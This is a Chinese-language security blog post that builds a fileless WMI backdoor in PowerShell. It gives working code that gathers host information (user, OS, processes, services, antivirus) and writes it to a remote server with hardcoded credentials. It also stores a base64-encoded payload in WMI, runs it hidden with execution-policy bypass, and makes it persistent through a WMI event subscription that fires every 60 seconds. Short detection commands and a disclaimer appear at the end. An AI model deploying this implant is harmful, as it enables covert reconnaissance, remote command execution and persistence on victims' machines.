0x00 前言

上篇介绍了如何通过powershell来实现WMI attacks，这次接着介绍一些进阶WMI技巧---WMI Backdoor

配图为Mandiant在M-Trends 2015报告中提到的“How threat actors use WMI to maintain persistence”（即上篇提到的隐蔽定时启动程序）

0x01 简介

结合上篇WMI attacks的基础知识来设计WMI Backdoor

特点：

不在Client和Server留下任何文件
不改动注册表
仅使用powershell实现

0x02 测试环境

CLIENT:

192.168.40.208
Win8x86

SERVER：

192.168.40.206
Win7x64
Username：a
Password：testtest

0x03 思路

作为后门，所以把隐蔽性放在首位

Clinet需要满足如下功能：

上传信息至服务器
获取指令执行
定时启动

0x04 功能实现

1、Client将本机信息发送至Server

《WMI attacks-3、存储payload》提到，可将数据存储于此，不会留下文件，实际位于硬盘上的一个复杂的数据库中(objects.data)

设计思路：

Client获取主机配置信息-连接远程服务器-保存在远程服务器
Server读取信息

实现：

（1）Client获取主机配置信息-连接远程服务器-保存在远程服务器

Client端Powershell代码如下：

#连接192.168.40.206
$Options = New-Object Management.ConnectionOptions
$Options.Username = 'a'
$Options.Password = 'testtest'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\\192.168.40.206\root\cimv2'
$Connection.Options = $Options
$Connection.Connect()
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null)
#新建类名
$EvilClass['__CLASS'] = 'Win32_UserInfo'
$EvilClass.Properties.Add('IP19216840208', [Management.CimType]::String, $False)
#获取主机配置信息
$GetOS=Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem 
$GetProcess=Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process
$GetService=Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service -Filter "State='Running'"
$GetUser=Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
$GetAV=Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
#注：Powershell中换行符为`n
$EvilClass.Properties['IP19216840208'].Value =           $GetUser.UserName+"`n"+"OS:"+$GetOS.Caption+";"+$GetOS.OSArchitecture+"`n"+"AntiVirusProduct:"+ $GetAV.displayName+"`n"+"Process:"+"`n"+$GetProcess.Name+"`n"+"Service Start:"+"`n"+$GetService.Name
#存储
$EvilClass.Put()

如图

（2）Server端执行查询获取主机信息

 ([WmiClass] 'Win32_UserInfo').Properties['IP19216840208']

如图

2、Client获取指令并执行

设计思路：

Client加密存储指令
Client读取指令-解密-执行

实现：

（1）Client加密存储指令

Client端Powershell代码如下：

#定义Payload，为保证变量能够解析，需要使用单引号‘
$Payload=@'
$Options = New-Object Management.ConnectionOptions
$Options.Username = 'a'
$Options.Password = 'testtest'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\\192.168.40.206\root\cimv2'
$Connection.Options = $Options
$Connection.Connect()
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null)
$EvilClass['__CLASS'] = 'Win32_CommandTest'
$EvilClass.Properties.Add('IP19216840208', [Management.CimType]::String, $False)
$EvilClass.Properties['IP19216840208'].Value ="Run Command Test!" 
$EvilClass.Put() 
'@
#对payload作base64加密
$bytes  = [System.Text.Encoding]::Unicode.GetBytes($Payload);
$EncodedPayload = [System.Convert]::ToBase64String($bytes); 
#存储加密后的payload
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('EnCommand' , $EncodedPayload)
$StaticClass.Put()

如图

（2）查看加密的payload

([WmiClass] 'Win32_Command').Properties['EnCommand']

如图

（3）Client读取指令-解密-执行

#读取加密payload
$EncodedPayload=([WmiClass] 'Win32_Command').Properties['EnCommand'].Value
#PowerShell执行命令
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload"
Invoke-WmiMethod  -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
#显示解密指令
$bytes2  = [System.Convert]::FromBase64String($EncodedPayload);
$decoded = [System.Text.Encoding]::Unicode.GetString($bytes2); 
"decoded Payload:"
$decoded

如图

server端执行

([WmiClass] 'Win32_CommandTest').Properties['IP19216840208']

验证是否成功

如图

3、Client定时执行powershell命令

#读取加密指令
$EncodedPayload=([WmiClass] 'Win32_Command').Properties['EnCommand'].Value
$filterName = 'BotFilter56'
$consumerName = 'BotConsumer56'
#创建一个__EventFilter，用于设定触发条件，每隔60s执行一次
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop

#创建一个CommandLineEventConsumer，用于设定执行的操作
$Arg =@{
        Name=$consumerName
            CommandLineTemplate="C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe  -NonInteractive  -enc $EncodedPayload"
}

$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments $Arg
#用于绑定filter和consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

如图

0x05 补充

对于定时启动功能的进一步说明

1、EventFilter

可以理解为通过执行WQL查询来设定触发条件，包括以下查询：

（1）Data queries

SELECT * FROM Win32_NTLogEvent WHERE Logfile = 'Application

（2）Event queries

SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Service' AND TargetInstance._Class = 'win32_TerminalService'

（3）Schema queries

SELECT * FROM meta_class WHERE __this ISA "Win32_BaseService"

2、 consumer

可以理解为条件满足后执行的操作，包括如下查询：

（1）ActiveScriptEventConsumer    
（2）LogFileEventConsumer 
（3）NTEventLogEventConsumer
（4）SMTPEventConsumer
（5）CommandLineEventConsumer

3、使用consumer执行vbs脚本的两种方式

（1）直接执行现有脚本

instance of ActiveScriptEventConsumer as $Cons
{
    Name = "ASEC";
    ScriptingEngine = "VBScript";
    ScriptFileName = "c:\\asec2.vbs";
};

（2）内嵌脚本，不会留下痕迹

instance of ActiveScriptEventConsumer as $Cons
{
    Name = "ASEC";
    ScriptingEngine = "VBScript";

    ScriptText =
        "Dim objFS, objFile\n"
        "Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n"
        "Set objFile = objFS.OpenTextFile(\"C:\\ASEC.log\","
        " 8, true)\nobjFile.WriteLine \"Time: \" & Now & \";"
        " Entry made by: ASEC\"\nobjFile.WriteLine"
        " \"Application closed. UserModeTime:  \" & "
        "TargetEvent.TargetInstance.UserModeTime &_\n"
        "\"; KernelModeTime: \" & "
        "TargetEvent.TargetInstance.KernelModeTime "
        "& \" [hundreds of nanoseconds]\"\n"
        "objFile.Close\n";
};

参考资料：

https://msdn.microsoft.com/en-us/library/aa392902(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/aa393250(v=vs.85).aspx

0x06 小结

本文仅用来介绍WMI Attacks的进阶应用技巧，请勿用于非法用途

再次提一下WMI的检测方法：

#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

查看日志

– Microsoft-Windows-WinRM/Operational
– Microsoft-Windows-WMI-Activity/Operational
– Microsoft-Windows-DistributedCOM

甚至禁用Winmgmt服务从根本上阻止该方法的使用

本文由三好学生原创并首发于乌云drops，转载请注明

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